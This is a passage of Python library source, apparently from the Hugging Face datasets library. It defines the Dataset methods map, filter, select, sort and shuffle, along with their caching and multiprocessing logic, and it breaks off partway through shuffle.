Optional[Features] = None,\n disable_nullable: bool = False,\n fn_kwargs: Optional[dict] = None,\n num_proc: Optional[int] = None,\n suffix_template: str = \"_{rank:05d}_of_{num_proc:05d}\",\n new_fingerprint: Optional[str] = None,\n ) -> \"Dataset\":\n \"\"\"Apply a function to all the elements in the table (individually or in batches)\n and update the table (if function does updated examples).\n\n Args:\n function (`callable`): with one of the following signature:\n - `function(example: Union[Dict, Any]) -> Union[Dict, Any]` if `batched=False` and `with_indices=False`\n - `function(example: Union[Dict, Any], indices: int) -> Union[Dict, Any]` if `batched=False` and `with_indices=True`\n - `function(batch: Union[Dict[List], List[Any]]) -> Union[Dict, Any]` if `batched=True` and `with_indices=False`\n - `function(batch: Union[Dict[List], List[Any]], indices: List[int]) -> Union[Dict, Any]` if `batched=True` and `with_indices=True`\n If no function is provided, default to identity function: lambda x: x\n with_indices (`bool`, defaults to `False`): Provide example indices to `function`. Note that in this case the signature of `function` should be `def function(example, idx): ...`.\n input_columns (`Optional[Union[str, List[str]]]`, defaults to `None`): The columns to be passed into `function` as\n positional arguments. If `None`, a dict mapping to all formatted columns is passed as one argument.\n batched (`bool`, defaults to `False`): Provide batch of examples to `function`\n batch_size (`Optional[int]`, defaults to `1000`): Number of examples per batch provided to `function` if `batched=True`\n `batch_size <= 0` or `batch_size == None`: Provide the full dataset as a single batch to `function`\n drop_last_batch (`bool`, default: `False`): Whether a last batch smaller than the batch_size should be\n dropped instead of being processed by the function.\n remove_columns (`Optional[List[str]]`, defaults to `None`): Remove a selection of columns while doing the mapping.\n Columns will be removed before updating the examples with the output of `function`, i.e. if `function` is adding\n columns with names in `remove_columns`, these columns will be kept.\n keep_in_memory (`bool`, defaults to `False`): Keep the dataset in memory instead of writing it to a cache file.\n load_from_cache_file (`bool`, defaults to `True`): If a cache file storing the current computation from `function`\n can be identified, use it instead of recomputing.\n cache_file_name (`Optional[str]`, defaults to `None`): Provide the name of a cache file to use to store the\n results of the computation instead of the automatically generated cache file name.\n writer_batch_size (`int`, defaults to `1000`): Number of rows per write operation for the cache file writer.\n Higher value gives smaller cache files, lower value consume less temporary memory while running `.map()`.\n features (`Optional[datasets.Features]`, defaults to `None`): Use a specific Features to store the cache file\n instead of the automatically generated one.\n disable_nullable (`bool`, defaults to `True`): Disallow null values in the table.\n fn_kwargs (`Optional[Dict]`, defaults to `None`): Keyword arguments to be passed to `function`\n num_proc (`Optional[int]`, defaults to `None`): Number of processes for multiprocessing. By default it doesn't\n use multiprocessing.\n suffix_template (`str`, defaults to \"_{rank:05d}_of_{num_proc:05d}\"): If cache_file_name is specified, then this suffix\n will be added at the end of the base name of each. For example, if cache_file_name is \"processed.arrow\", then for\n rank=1 and num_proc=4, the resulting file would be \"processed_00001_of_00004.arrow\" for the default suffix.\n new_fingerprint (`Optional[str]`, defaults to `None`): the new fingerprint of the dataset after transform.\n If `None`, the new fingerprint is computed using a hash of the previous fingerprint, and the transform arguments\n \"\"\"\n assert num_proc is None or num_proc > 0, \"num_proc must be an integer > 0.\"\n\n # If the array is empty we do nothing\n if len(self) == 0:\n return self\n\n if function is None:\n function = lambda x: x # noqa: E731\n\n if isinstance(input_columns, str):\n input_columns = [input_columns]\n\n if input_columns is not None:\n for input_column in input_columns:\n if input_column not in self._data.column_names:\n raise ValueError(\n \"Input column {} not in the dataset. Current columns in the dataset: {}\".format(\n input_column, self._data.column_names\n )\n )\n\n if fn_kwargs is None:\n fn_kwargs = dict()\n\n # Check if the function returns updated examples\n def does_function_return_dict(inputs, indices):\n \"\"\" Does the function returns a dict. \"\"\"\n fn_args = [inputs] if input_columns is None else [inputs[col] for col in input_columns]\n processed_inputs = (\n function(*fn_args, indices, **fn_kwargs) if with_indices else function(*fn_args, **fn_kwargs)\n )\n does_return_dict = isinstance(processed_inputs, Mapping)\n\n if does_return_dict is False and processed_inputs is not None:\n raise TypeError(\n \"Provided `function` which is applied to all elements of table returns a variable of type {}. Make sure provided `function` returns a variable of type `dict` to update the dataset or `None` if you are only interested in side effects.\".format(\n type(processed_inputs)\n )\n )\n elif isinstance(test_indices, list) and does_return_dict is True:\n allowed_batch_return_types = (list, np.ndarray)\n all_dict_values_are_lists = all(\n isinstance(value, allowed_batch_return_types) for value in processed_inputs.values()\n )\n if all_dict_values_are_lists is False:\n raise TypeError(\n \"Provided `function` which is applied to all elements of table returns a `dict` of types {}. When using `batched=True`, make sure provided `function` returns a `dict` of types like `{}`.\".format(\n [type(x) for x in processed_inputs.values()], allowed_batch_return_types\n )\n )\n\n return does_return_dict\n\n # We only update the data table (and use the cache) if the function returns a dict.\n # Test it on the first element or a small batch (0, 1) for batched inputs\n logger.info(\"Testing the mapped function outputs\")\n test_inputs = self[:2] if batched else self[0]\n test_indices = [0, 1] if batched else 0\n update_data = does_function_return_dict(test_inputs, test_indices)\n logger.info(\"Testing finished, running the mapping function on the dataset\")\n\n if num_proc is None or num_proc == 1:\n return self._map_single(\n function=function,\n with_indices=with_indices,\n input_columns=input_columns,\n batched=batched,\n batch_size=batch_size,\n drop_last_batch=drop_last_batch,\n remove_columns=remove_columns,\n keep_in_memory=keep_in_memory,\n load_from_cache_file=load_from_cache_file,\n cache_file_name=cache_file_name,\n writer_batch_size=writer_batch_size,\n features=features,\n disable_nullable=disable_nullable,\n fn_kwargs=fn_kwargs,\n new_fingerprint=new_fingerprint,\n update_data=update_data,\n )\n else:\n\n def format_cache_file_name(cache_file_name, rank):\n sep = cache_file_name.rindex(\".\")\n base_name, extension = cache_file_name[:sep], cache_file_name[sep:]\n cache_file_name = base_name + suffix_template.format(rank=rank, num_proc=num_proc) + extension\n logger.info(\"Process #{} will write at {}\".format(rank, cache_file_name))\n return cache_file_name\n\n with Pool(num_proc, initargs=(RLock(),), initializer=tqdm.set_lock) as pool:\n shards = [\n self.shard(num_shards=num_proc, index=rank, contiguous=True, keep_in_memory=keep_in_memory)\n for rank in range(num_proc)\n ]\n kwds_per_shard = [\n dict(\n self=shards[rank],\n function=function,\n with_indices=with_indices,\n input_columns=input_columns,\n batched=batched,\n batch_size=batch_size,\n drop_last_batch=drop_last_batch,\n remove_columns=remove_columns,\n keep_in_memory=keep_in_memory,\n load_from_cache_file=load_from_cache_file,\n cache_file_name=format_cache_file_name(cache_file_name, rank)\n if cache_file_name is not None\n else None,\n writer_batch_size=writer_batch_size,\n features=features.copy() if features is not None else None,\n disable_nullable=disable_nullable,\n fn_kwargs=fn_kwargs,\n rank=rank,\n offset=sum(len(s) for s in shards[:rank]),\n update_data=update_data,\n )\n for rank in range(num_proc)\n ]\n logger.info(\"Spawning {} processes\".format(num_proc))\n results = [pool.apply_async(self.__class__._map_single, kwds=kwds) for kwds in kwds_per_shard]\n transformed_shards = [r.get() for r in results]\n logger.info(\"Concatenating {} shards from multiprocessing\".format(num_proc))\n result = concatenate_datasets(transformed_shards)\n if new_fingerprint is not None:\n result._fingerprint = new_fingerprint\n return result\n\n @transmit_format\n @fingerprint(inplace=False)\n def _map_single(\n self,\n function: Optional[Callable] = None,\n with_indices: bool = False,\n input_columns: Optional[Union[str, List[str]]] = None,\n batched: bool = False,\n batch_size: Optional[int] = 1000,\n drop_last_batch: bool = False,\n remove_columns: Optional[List[str]] = None,\n keep_in_memory: bool = False,\n load_from_cache_file: bool = True,\n cache_file_name: Optional[str] = None,\n writer_batch_size: Optional[int] = 1000,\n features: Optional[Features] = None,\n disable_nullable: bool = False,\n fn_kwargs: Optional[dict] = None,\n new_fingerprint: Optional[str] = None,\n rank: Optional[int] = None,\n offset: int = 0,\n update_data=True,\n ) -> \"Dataset\":\n \"\"\"Apply a function to all the elements in the table (individually or in batches)\n and update the table (if function does updated examples).\n\n Args:\n function (`callable`): with one of the following signature:\n - `function(example: Union[Dict, Any]) -> Union[Dict, Any]` if `batched=False` and `with_indices=False`\n - `function(example: Union[Dict, Any], indices: int) -> Union[Dict, Any]` if `batched=False` and `with_indices=True`\n - `function(batch: Union[Dict[List], List[Any]]) -> Union[Dict, Any]` if `batched=True` and `with_indices=False`\n - `function(batch: Union[Dict[List], List[Any]], indices: List[int]) -> Union[Dict, Any]` if `batched=True` and `with_indices=True`\n If no function is provided, default to identity function: lambda x: x\n with_indices (`bool`, defaults to `False`): Provide example indices to `function`. Note that in this case the signature of `function` should be `def function(example, idx): ...`.\n input_columns (`Optional[Union[str, List[str]]]`, defaults to `None`): The columns to be passed into `function` as\n positional arguments. If `None`, a dict mapping to all formatted columns is passed as one argument.\n batched (`bool`, defaults to `False`): Provide batch of examples to `function`\n batch_size (`Optional[int]`, defaults to `1000`): Number of examples per batch provided to `function` if `batched=True`\n `batch_size <= 0` or `batch_size == None`: Provide the full dataset as a single batch to `function`\n drop_last_batch (`bool`, default: `False`): Whether a last batch smaller than the batch_size should be\n dropped instead of being processed by the function.\n remove_columns (`Optional[List[str]]`, defaults to `None`): Remove a selection of columns while doing the mapping.\n Columns will be removed before updating the examples with the output of `function`, i.e. if `function` is adding\n columns with names in `remove_columns`, these columns will be kept.\n keep_in_memory (`bool`, defaults to `False`): Keep the dataset in memory instead of writing it to a cache file.\n load_from_cache_file (`bool`, defaults to `True`): If a cache file storing the current computation from `function`\n can be identified, use it instead of recomputing.\n cache_file_name (`Optional[str]`, defaults to `None`): Provide the name of a cache file to use to store the\n results of the computation instead of the automatically generated cache file name.\n writer_batch_size (`int`, defaults to `1000`): Number of rows per write operation for the cache file writer.\n Higher value gives smaller cache files, lower value consume less temporary memory while running `.map()`.\n features (`Optional[datasets.Features]`, defaults to `None`): Use a specific Features to store the cache file\n instead of the automatically generated one.\n disable_nullable (`bool`, defaults to `True`): Disallow null values in the table.\n fn_kwargs (`Optional[Dict]`, defaults to `None`): Keyword arguments to be passed to `function`\n new_fingerprint (`Optional[str]`, defaults to `None`): the new fingerprint of the dataset after transform.\n If `None`, the new fingerprint is computed using a hash of the previous fingerprint, and the transform arguments\n rank: (`Optional[int]`, defaults to `None`): If specified, this is the process rank when doing multiprocessing\n offset: (`int`, defaults to 0): If specified, this is an offset applied to the indices passed to `function` if `with_indices=True`\n update_data (`bool`, defaults to `True`): If False, no new arrow table will be created\n \"\"\"\n assert (\n not keep_in_memory or cache_file_name is None\n ), \"Please use either `keep_in_memory` or `cache_file_name` but not both.\"\n\n not_verbose = bool(logger.getEffectiveLevel() > WARNING)\n\n # Reduce logging to keep things readable in multiprocessing with tqdm\n if rank is not None and get_verbosity() < WARNING:\n set_verbosity_warning()\n # Print at least one thing to fix tqdm in notebooks in multiprocessing\n # see https://github.com/tqdm/tqdm/issues/485#issuecomment-473338308\n if rank is not None and \"notebook\" in tqdm.__name__:\n print(\" \", end=\"\", flush=True)\n\n # Select the columns (arrow columns) to process\n if remove_columns is not None and any(col not in self._data.column_names for col in remove_columns):\n raise ValueError(\n \"Column to remove {} not in the dataset. Current columns in the dataset: {}\".format(\n list(filter(lambda col: col not in self._data.column_names, remove_columns)),\n self._data.column_names,\n )\n )\n\n if isinstance(input_columns, str):\n input_columns = [input_columns]\n\n if input_columns is not None:\n for input_column in input_columns:\n if input_column not in self._data.column_names:\n raise ValueError(\n \"Input column {} not in the dataset. Current columns in the dataset: {}\".format(\n input_column, self._data.column_names\n )\n )\n\n if fn_kwargs is None:\n fn_kwargs = dict()\n\n # If we do batch computation but no batch sze is provided, default to the full dataset\n if batched and (batch_size is None or batch_size <= 0):\n batch_size = self.num_rows\n\n class NumExamplesMismatch(Exception):\n pass\n\n def apply_function_on_filtered_inputs(inputs, indices, check_same_num_examples=False, offset=0):\n \"\"\" Utility to apply the function on a selection of columns. \"\"\"\n fn_args = [inputs] if input_columns is None else [inputs[col] for col in input_columns]\n if offset == 0:\n effective_indices = indices\n else:\n effective_indices = [i + offset for i in indices] if isinstance(indices, list) else indices + offset\n processed_inputs = (\n function(*fn_args, effective_indices, **fn_kwargs) if with_indices else function(*fn_args, **fn_kwargs)\n )\n if not update_data:\n return None # Nothing to update, let's move on\n if remove_columns is not None:\n for column in remove_columns:\n inputs.pop(column)\n if self._format_type is not None:\n inputs = self._getitem(\n key=(indices if isinstance(indices, int) else slice(indices[0], indices[-1] + 1)),\n format_type=None,\n format_columns=None,\n format_kwargs=None,\n )\n if check_same_num_examples:\n input_num_examples = len(inputs[next(iter(inputs.keys()))])\n processed_inputs_num_examples = len(processed_inputs[next(iter(processed_inputs.keys()))])\n if input_num_examples != processed_inputs_num_examples:\n raise NumExamplesMismatch()\n inputs.update(processed_inputs)\n return inputs\n\n # Check if we've already cached this computation (indexed by a hash)\n if update_data and self._data_files:\n if cache_file_name is None:\n # we create a unique hash from the function, current dataset file and the mapping args\n cache_file_name = self._get_cache_file_path(new_fingerprint)\n if os.path.exists(cache_file_name) and load_from_cache_file:\n logger.warning(\"Loading cached processed dataset at %s\", cache_file_name)\n info = self.info.copy()\n info.features = features\n return Dataset.from_file(cache_file_name, info=info, split=self.split)\n\n # Prepare output buffer and batched writer in memory or on file if we update the table\n if update_data:\n if features is None:\n features = self.features\n update_features = True\n else:\n update_features = False\n if keep_in_memory or cache_file_name is None:\n buf_writer = pa.BufferOutputStream()\n tmp_file = None\n writer = ArrowWriter(\n features=features,\n stream=buf_writer,\n writer_batch_size=writer_batch_size,\n update_features=update_features,\n fingerprint=new_fingerprint,\n )\n else:\n buf_writer = None\n logger.info(\"Caching processed dataset at %s\", cache_file_name)\n tmp_file = tempfile.NamedTemporaryFile(\"wb\", dir=os.path.dirname(cache_file_name), delete=False)\n writer = ArrowWriter(\n features=features,\n path=tmp_file.name,\n writer_batch_size=writer_batch_size,\n update_features=update_features,\n fingerprint=new_fingerprint,\n )\n\n try:\n # Loop over single examples or batches and write to buffer/file if examples are to be updated\n pbar_iterable = self if not batched else range(0, len(self), batch_size)\n pbar_unit = \"ex\" if not batched else \"ba\"\n pbar_desc = \"#\" + str(rank) if rank is not None else None\n pbar = tqdm(pbar_iterable, disable=not_verbose, position=rank, unit=pbar_unit, desc=pbar_desc)\n if not batched:\n for i, example in enumerate(pbar):\n example = apply_function_on_filtered_inputs(example, i, offset=offset)\n if update_data:\n example = cast_to_python_objects(example)\n writer.write(example)\n else:\n for i in pbar:\n if drop_last_batch and i + batch_size > self.num_rows:\n continue\n batch = self[i : i + batch_size]\n indices = list(range(*(slice(i, i + batch_size).indices(self.num_rows)))) # Something simpler?\n try:\n batch = apply_function_on_filtered_inputs(\n batch, indices, check_same_num_examples=len(self.list_indexes()) > 0, offset=offset\n )\n except NumExamplesMismatch:\n raise DatasetTransformationNotAllowedError(\n \"Using `.map` in batched mode on a dataset with attached indexes is allowed only if it doesn't create or remove existing examples. You can first run `.drop_index() to remove your index and then re-add it.\"\n )\n if update_data:\n batch = cast_to_python_objects(batch)\n writer.write_batch(batch)\n if update_data:\n writer.finalize() # close_stream=bool(buf_writer is None)) # We only close if we are writing in a file\n except (Exception, KeyboardInterrupt):\n if update_data and tmp_file is not None:\n if os.path.exists(tmp_file.name):\n os.remove(tmp_file.name)\n raise\n\n if update_data and tmp_file is not None:\n shutil.move(tmp_file.name, cache_file_name)\n\n if update_data:\n # Create new Dataset from buffer or file\n info = self.info.copy()\n info.features = writer._features\n if buf_writer is None:\n return Dataset.from_file(cache_file_name, info=info, split=self.split)\n else:\n return Dataset.from_buffer(buf_writer.getvalue(), info=info, split=self.split)\n else:\n return self\n\n @transmit_format\n @fingerprint(inplace=False)\n def filter(\n self,\n function: Optional[Callable] = None,\n with_indices=False,\n input_columns: Optional[Union[str, List[str]]] = None,\n batch_size: Optional[int] = 1000,\n remove_columns: Optional[List[str]] = None,\n keep_in_memory: bool = False,\n load_from_cache_file: bool = True,\n cache_file_name: Optional[str] = None,\n writer_batch_size: Optional[int] = 1000,\n fn_kwargs: Optional[dict] = None,\n num_proc: Optional[int] = None,\n suffix_template: str = \"_{rank:05d}_of_{num_proc:05d}\",\n new_fingerprint: Optional[str] = None,\n ) -> \"Dataset\":\n \"\"\"Apply a filter function to all the elements in the table in batches\n and update the table so that the dataset only includes examples according to the filter function.\n\n Args:\n function (`callable`): with one of the following signature:\n - `function(example: Union[Dict, Any]) -> bool` if `with_indices=False`\n - `function(example: Union[Dict, Any], indices: int) -> bool` if `with_indices=True`\n If no function is provided, default to an always True function: lambda x: True\n with_indices (`bool`, defaults to `False`): Provide example indices to `function`. Note that in this case the signature of `function` should be `def function(example, idx): ...`.\n input_columns (`Optional[Union[str, List[str]]]`, defaults to `None`): The columns to be passed into `function` as\n positional arguments. If `None`, a dict mapping to all formatted columns is passed as one argument.\n batch_size (`Optional[int]`, defaults to `1000`): Number of examples per batch provided to `function` if `batched=True`\n `batch_size <= 0` or `batch_size == None`: Provide the full dataset as a single batch to `function`\n remove_columns (`Optional[List[str]]`, defaults to `None`): Remove a selection of columns while doing the mapping.\n Columns will be removed before updating the examples with the output of `function`, i.e. if `function` is adding\n columns with names in `remove_columns`, these columns will be kept.\n keep_in_memory (`bool`, defaults to `False`): Keep the dataset in memory instead of writing it to a cache file.\n load_from_cache_file (`bool`, defaults to `True`): If a cache file storing the current computation from `function`\n can be identified, use it instead of recomputing.\n cache_file_name (`Optional[str]`, defaults to `None`): Provide the name of a cache file to use to store the\n results of the computation instead of the automatically generated cache file name.\n writer_batch_size (`int`, defaults to `1000`): Number of rows per write operation for the cache file writer.\n Higher value gives smaller cache files, lower value consume less temporary memory while running `.map()`.\n fn_kwargs (`Optional[Dict]`, defaults to `None`): Keyword arguments to be passed to `function`\n num_proc (`Optional[int]`, defaults to `None`): Number of processes for multiprocessing. By default it doesn't\n use multiprocessing.\n suffix_template (`str`, defaults to \"_{rank:05d}_of_{num_proc:05d}\"): If cache_file_name is specified, then this suffix\n will be added at the end of the base name of each. For example, if cache_file_name is \"processed.arrow\", then for\n rank=1 and num_proc=4, the resulting file would be \"processed_00001_of_00004.arrow\" for the default suffix.\n new_fingerprint (`Optional[str]`, defaults to `None`): the new fingerprint of the dataset after transform.\n If `None`, the new fingerprint is computed using a hash of the previous fingerprint, and the transform arguments\n \"\"\"\n if len(self.list_indexes()) > 0:\n raise DatasetTransformationNotAllowedError(\n \"Using `.filter` on a dataset with attached indexes is not allowed. You can first run `.drop_index() to remove your index and then re-add it.`\"\n )\n\n if function is None:\n function = lambda x: True # noqa: E731\n\n if isinstance(input_columns, str):\n input_columns = [input_columns]\n\n if input_columns is not None:\n for input_column in input_columns:\n if input_column not in self._data.column_names:\n raise ValueError(\n \"Input column {} not in the dataset. Current columns in the dataset: {}\".format(\n input_column, self._data.column_names\n )\n )\n\n if fn_kwargs is None:\n fn_kwargs = dict()\n fn_kwargs[\"input_columns\"] = input_columns\n\n # return map function\n return self.map(\n partial(map_function, function=function, with_indices=with_indices),\n batched=True,\n with_indices=with_indices,\n features=self.features,\n batch_size=batch_size,\n remove_columns=remove_columns,\n keep_in_memory=keep_in_memory,\n load_from_cache_file=load_from_cache_file,\n cache_file_name=cache_file_name,\n writer_batch_size=writer_batch_size,\n fn_kwargs=fn_kwargs,\n num_proc=num_proc,\n suffix_template=suffix_template,\n new_fingerprint=new_fingerprint,\n )\n\n @transmit_format\n @fingerprint(inplace=False)\n def flatten_indices(\n self,\n keep_in_memory: bool = False,\n cache_file_name: Optional[str] = None,\n writer_batch_size: Optional[int] = 1000,\n features: Optional[Features] = None,\n disable_nullable: bool = True,\n new_fingerprint: Optional[str] = None,\n ) -> \"Dataset\":\n \"\"\"Create and cache a new Dataset by flattening the indices mapping.\n\n Args:\n keep_in_memory (`bool`, default: `False`): Keep the dataset in memory instead of writing it to a cache file.\n cache_file_name (`Optional[str]`, defaults to `None`): Provide the name of a cache file to use to store the\n results of the computation instead of the automatically generated cache file name.\n writer_batch_size (`int`, defaults to `1000`): Number of rows per write operation for the cache file writer.\n Higher value gives smaller cache files, lower value consume less temporary memory while running `.map()`.\n features (`Optional[datasets.Features]`, default: `None`): Use a specific Features to store the cache file\n instead of the automatically generated one.\n disable_nullable (`bool`, default: `True`): Allow null values in the table.\n new_fingerprint (`Optional[str]`, defaults to `None`): the new fingerprint of the dataset after transform.\n If `None`, the new fingerprint is computed using a hash of the previous fingerprint, and the transform arguments\n \"\"\"\n\n return self.map(\n batched=True, # for speed\n keep_in_memory=keep_in_memory,\n cache_file_name=cache_file_name,\n writer_batch_size=writer_batch_size,\n features=features,\n disable_nullable=disable_nullable,\n new_fingerprint=new_fingerprint,\n )\n\n def _new_dataset_with_indices(\n self,\n indices_cache_file_name: Optional[str] = None,\n indices_buffer: Optional[pa.Buffer] = None,\n fingerprint: Optional[str] = None,\n ) -> \"Dataset\":\n \"\"\" Return a new Dataset obtained by adding indices (provided in indices_cache_file_name or in a buffer) to the current Dataset. \"\"\"\n\n assert (\n indices_cache_file_name is not None or indices_buffer is not None\n ), \"At least one of indices_cache_file_name or indices_buffer must be provided.\"\n\n assert fingerprint is not None, \"please specify a fingerprint for the dataset with indices\"\n data_files = self._data_files\n if indices_cache_file_name is not None:\n indices_mmap = pa.memory_map(indices_cache_file_name)\n if data_files is None:\n data_files = []\n indices_data_files = [{\"filename\": indices_cache_file_name}]\n else:\n indices_mmap = pa.BufferReader(indices_buffer)\n indices_data_files = None\n indices_f = pa.ipc.open_stream(indices_mmap)\n indices_pa_table = indices_f.read_all()\n\n # Return new Dataset object\n return Dataset(\n self._data,\n data_files=data_files,\n info=self.info,\n split=self.split,\n indices_table=indices_pa_table,\n indices_data_files=indices_data_files,\n fingerprint=fingerprint,\n inplace_history=self._inplace_history, # in-place transforms have to be kept as we kept the same data_files\n )\n\n @transmit_format\n @fingerprint(inplace=False)\n def select(\n self,\n indices: Iterable,\n keep_in_memory: bool = False,\n indices_cache_file_name: Optional[str] = None,\n writer_batch_size: Optional[int] = 1000,\n new_fingerprint: Optional[str] = None,\n ) -> \"Dataset\":\n \"\"\"Create a new dataset with rows selected following the list/array of indices.\n\n Args:\n `indices` (sequence, iterable, ndarray or Series): List or 1D-array of integer indices for indexing.\n `keep_in_memory` (`bool`, default: `False`): Keep the indices mapping in memory instead of writing it to a cache file.\n `indices_cache_file_name` (`Optional[str]`, default: `None`): Provide the name of a cache file to use to store the\n indices mapping instead of the automatically generated cache file name.\n `writer_batch_size` (`int`, default: `1000`): Number of rows per write operation for the cache file writer.\n Higher value gives smaller cache files, lower value consume less temporary memory while running `.map()`.\n new_fingerprint (`Optional[str]`, defaults to `None`): the new fingerprint of the dataset after transform.\n If `None`, the new fingerprint is computed using a hash of the previous fingerprint, and the transform arguments\n \"\"\"\n assert (\n not keep_in_memory or indices_cache_file_name is None\n ), \"Please use either `keep_in_memory` or `indices_cache_file_name` but not both.\"\n if len(self.list_indexes()) > 0:\n raise DatasetTransformationNotAllowedError(\n \"Using `.select` on a dataset with attached indexes is not allowed. You can first run `.drop_index() to remove your index and then re-add it.\"\n )\n\n # If the array is empty we do nothing\n if len(self) == 0:\n return self\n\n # Prepare the writer for our indices arrow table\n if keep_in_memory or indices_cache_file_name is None:\n buf_writer = pa.BufferOutputStream()\n tmp_file = None\n writer = ArrowWriter(\n stream=buf_writer, writer_batch_size=writer_batch_size, fingerprint=new_fingerprint, unit=\"indices\"\n )\n else:\n buf_writer = None\n logger.info(\"Caching indices mapping at %s\", indices_cache_file_name)\n tmp_file = tempfile.NamedTemporaryFile(\"wb\", dir=os.path.dirname(indices_cache_file_name), delete=False)\n writer = ArrowWriter(\n path=tmp_file.name, writer_batch_size=writer_batch_size, fingerprint=new_fingerprint, unit=\"indices\"\n )\n\n indices_array = pa.array(indices, type=pa.uint64())\n # Check if we need to convert indices\n if self._indices is not None:\n if PYARROW_V0:\n indices_array = pa.concat_tables(self._indices.slice(i.as_py(), 1) for i in indices_array).column(0)\n else:\n indices_array = self._indices.column(0).take(indices_array)\n\n indices_table = pa.Table.from_arrays([indices_array], names=[\"indices\"])\n\n try:\n writer.write_table(indices_table)\n writer.finalize() # close_stream=bool(buf_writer is None)) # We only close if we are writing in a file\n except (Exception, KeyboardInterrupt):\n if tmp_file is not None:\n if os.path.exists(tmp_file.name):\n os.remove(tmp_file.name)\n raise\n\n if tmp_file is not None:\n shutil.move(tmp_file.name, indices_cache_file_name)\n\n # Return new Dataset object\n if buf_writer is None:\n return self._new_dataset_with_indices(\n indices_cache_file_name=indices_cache_file_name, fingerprint=new_fingerprint\n )\n else:\n return self._new_dataset_with_indices(indices_buffer=buf_writer.getvalue(), fingerprint=new_fingerprint)\n\n @transmit_format\n @fingerprint(inplace=False)\n def sort(\n self,\n column: str,\n reverse: bool = False,\n kind: str = None,\n keep_in_memory: bool = False,\n load_from_cache_file: bool = True,\n indices_cache_file_name: Optional[str] = None,\n writer_batch_size: Optional[int] = 1000,\n new_fingerprint: Optional[str] = None,\n ) -> \"Dataset\":\n \"\"\"Create a new dataset sorted according to a column.\n\n Currently sorting according to a column name uses numpy sorting algorithm under the hood.\n The column should thus be a numpy compatible type (in particular not a nested type).\n This also means that the column used for sorting is fully loaded in memory (which should be fine in most cases).\n\n Args:\n column (`str`): column name to sort by.\n reverse: (`bool`, defaults to `False`): If True, sort by descending order rather then ascending.\n kind (Optional `str`): Numpy algorithm for sorting selected in {‘quicksort’, ‘mergesort’, ‘heapsort’, ‘stable’},\n The default is ‘quicksort’. Note that both ‘stable’ and ‘mergesort’ use timsort under the covers and, in general,\n the actual implementation will vary with data type. The ‘mergesort’ option is retained for backwards compatibility.\n keep_in_memory (`bool`, defaults to `False`): Keep the sorted indices in memory instead of writing it to a cache file.\n load_from_cache_file (`bool`, defaults to `True`): If a cache file storing the sorted indices\n can be identified, use it instead of recomputing.\n indices_cache_file_name (`Optional[str]`, defaults to `None`): Provide the name of a cache file to use to store the\n sorted indices instead of the automatically generated cache file name.\n writer_batch_size (`int`, defaults to `1000`): Number of rows per write operation for the cache file writer.\n Higher value gives smaller cache files, lower value consume less temporary memory.\n new_fingerprint (`Optional[str]`, defaults to `None`): the new fingerprint of the dataset after transform.\n If `None`, the new fingerprint is computed using a hash of the previous fingerprint, and the transform arguments\n \"\"\"\n if len(self.list_indexes()) > 0:\n raise DatasetTransformationNotAllowedError(\n \"Using `.sort` on a dataset with attached indexes is not allowed. You can first run `.drop_index() to remove your index and then re-add it.\"\n )\n # If the array is empty we do nothing\n if len(self) == 0:\n return self\n\n # Check the column name\n if not isinstance(column, str) or column not in self._data.column_names:\n raise ValueError(\n \"Column '{}' not found in the dataset. Please provide a column selected in: {}\".format(\n column,\n self._data.column_names,\n )\n )\n\n # Check if we've already cached this computation (indexed by a hash)\n if self._data_files:\n if indices_cache_file_name is None:\n # we create a unique hash from the function, current dataset file and the mapping args\n indices_cache_file_name = self._get_cache_file_path(new_fingerprint)\n if os.path.exists(indices_cache_file_name) and load_from_cache_file:\n logger.warning(\"Loading cached sorted indices for dataset at %s\", indices_cache_file_name)\n return self._new_dataset_with_indices(\n fingerprint=new_fingerprint, indices_cache_file_name=indices_cache_file_name\n )\n\n column_data = self._getitem(\n column, format_type=\"numpy\", format_columns=None, output_all_columns=False, format_kwargs=None\n )\n indices = np.argsort(column_data, kind=kind)\n if reverse:\n indices = indices[::-1]\n\n return self.select(\n indices=indices,\n keep_in_memory=keep_in_memory,\n indices_cache_file_name=indices_cache_file_name,\n writer_batch_size=writer_batch_size,\n new_fingerprint=new_fingerprint,\n )\n\n @transmit_format\n @fingerprint(inplace=False, randomized_function=True)\n def shuffle(\n self,\n seed: Optional[int] = None,\n generator: Optional[np.random.Generator] = None,\n keep_in_memory: bool = False,\n load_from_cache_file: bool = True,\n indices_cache_file_name: Optional[str] = None,\n writer_batch_size: Optional[int] = 1000,\n new_fingerprint: Optional[str] = None,\n ) -> \"Dataset\":\n \"\"\"Create a new Dataset where the rows are shuffled.\n\n Currently shuffling uses numpy random generators.\n You can either supply a NumPy BitGenerator to use, or a seed to initiate NumPy's default random generator (PCG64).\n\n Args:\n seed (Optional `int`): A seed to initialize the default BitGenerator if ``generator=None``.\n If None, then fresh, unpredictable entropy will be pulled from the OS.\n If an int or array_like[ints] is passed, then it will be passed to SeedSequence to derive the initial BitGenerator state.\n generator (Optional `np.random.Generator`): Numpy random Generator to use to compute the permutation of the dataset rows.\n If ``generator=None`` (default), uses np.random.default_rng (the default BitGenerator (PCG64) of NumPy).\n keep_in_memory (`bool`, defaults to `False`): Keep the shuffled indices in memory instead of writing it to a cache file.\n load_from_cache_file (`bool`, defaults to `True`): If a cache file storing the shuffled indices\n can be identified, use it instead of recomputing.\n indices_cache_file_name (`Optional[str]`, defaults to `None`): Provide the name of a cache file to use to store the\n shuffled indices instead of the automatically generated cache file name.\n writer_batch_size (`int`, defaults to `1000`): Number of rows per write operation for the cache file writer.\n Higher value gives smaller cache files, lower value consume less temporary memory while running `.map()`.\n new_fingerprint (`Optional[str]`, defaults to `None`): the new fingerprint of the dataset after transform.\n If `None`, the new fingerprint is computed using a hash of the previous fingerprint, and the transform arguments\n \"\"\"\n if len(self.list_indexes()) > 0:\n raise DatasetTransformationNotAllowedError(\n \"Using `.shuffle` on a dataset with attached indexes is not allowed. You can first run `.drop_index() to remove your index and then re-add it.\"\n )\n # If the array is empty we do nothing\n if len(self) == 0:\n return self\n\n if seed is not None and generator is not None:\n raise ValueError(\"Both `seed` and `generator` were provided. Please specify just one of them.\")\n\n assert generator is None or isinstance(\n generator, np.random.Generator\n ), \"The provided generator must be an instance of numpy.random.Generator\"\n\n if generator is None:\n if seed is None:\n seed = np.random.get_state()[1][0]\n _ = np.random.random() # do 1 step of rng\n generator = np.random.default_rng(seed)\n\n # Check if we've already cached this computation (indexed by a hash)\n if self._data_files:\n if indices_cache_file_name is None:\n # we create a unique hash from the function, current dataset file and the mapping args\n indices_cache_file_name = self._get_cache_file_path(new_fingerprint)\n if os.path.exists(indices_cache_file_name) and load_from_cache_file:\n logger.warning(\"Loading cached shuffled indices for dataset at %s\", 